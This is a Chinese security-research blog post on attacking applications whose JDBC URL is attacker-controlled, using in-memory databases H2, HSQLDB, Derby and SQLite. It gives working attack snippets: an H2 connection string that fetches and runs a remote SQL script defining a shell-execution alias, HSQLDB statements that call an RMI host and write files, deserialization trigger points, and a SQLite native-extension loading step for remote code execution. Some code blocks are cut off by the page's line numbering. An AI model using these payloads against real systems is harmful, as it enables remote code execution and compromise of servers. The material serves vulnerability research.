继续讨论讨论在jdbc url可控情况下,有哪下攻击手法?
- 攻击client思路,典型的就是mysql client,前面讲过
- 攻击server思路,内存数据库就是当前server,发现相关介绍文章都比较散,这里尝试探索总结下,看看能不能发现新的姿势
攻击内存数据库Server
H2
pom依赖
1 | <dependency> |
h2_exec.sql
1 | CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { |
python -m SimpleHTTPServer 3333
触发代码
1 | String url = "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:3333/h2_exec.sql'"; |
tips: java -cp h2.jar org.h2.tools.Server
可以开启web console server
HSQLDB
pom依赖
1 | <dependency> |
1 | # 启动hsqldb HTTP Server |
浅蓝大佬关于HSQLDB的总结算是见到最全面的相关文章了,详情参考【5】,这里直接给出方法&结论
1. 利用call java static function
利用hsqldb create function/procedure可直接调用Java静态方法,例如
- rmi 利用
1
2
3
4
5
6
7create function rce(VARCHAR(80))
returns VARCHAR(80)
no sql
language java
external name 'CLASSPATH:java.rmi.Naming.list'
;
CALL rce('rmi://127.0.0.1:2333/a') - 写文件
1
2
3
4
5CREATE PROCEDURE writeBytesToFilename(IN paramString VARCHAR(1024), IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename';
call writeBytesToFilename('/tmp/hsql111', cast ('313131313131' AS VARBINARY(1024)));
但是利用条件比较苛刻,需要
- 可控jdbc URL
- 可自定义执行sql,去call java静态方法
2. 利用反序列化
赞一个浅蓝大佬的文章参考【5】,hsql研究文章挺少的,浅蓝大佬总结很到位。
触发点有两个
- JDBCResultSet,获取sql运行结果的时候,getObject触发
- JDBCCallableStatement,预编译阶段,指定OTHER类型参数时可以触发
浅蓝用到的demo是2,1的demo如下
1 | Class.forName("org.hsqldb.jdbcDriver"); |
可以进一步自动化成类似mysql fake server,攻击client,不过触发也是很鸡肋了
- 可控jdbc URL
- 需要client execteQuery并且 getObject
顺带提到下参考【7】中的CVE-2020-5902 F5 big-ip的这个漏洞,调试比较有意思的,还有宽字节遇到的这个case,参考【8】
Apache Derby
pom依赖
1 | <dependency> |
ldap 和call 应该会有问题
To Be Continued…
SQlite
pom依赖
1 | <dependency> |
2021/11/25新增
结合pyn3rd的hitb 的PPT,URL可控且SQL可控情况下,可以实现RCE
1 | public void loadExtension() throws Exception { |
gcc -g -fPIC -shared sq2.c -o sq2.dylib
1 |
|
小结
本节探讨了下在jdbc url可控情况下,因为内存数据库Server&Client就是当前同一台机器,寻找内存数据库的利用点。思路有两点:
- 利用数据库特性,执行系统命令/写文件,在Server上RCE
- 利用反序列化,构造恶意Server,在Client上RCE
目前除了H2,其他还是比较困难的,未完待续。。。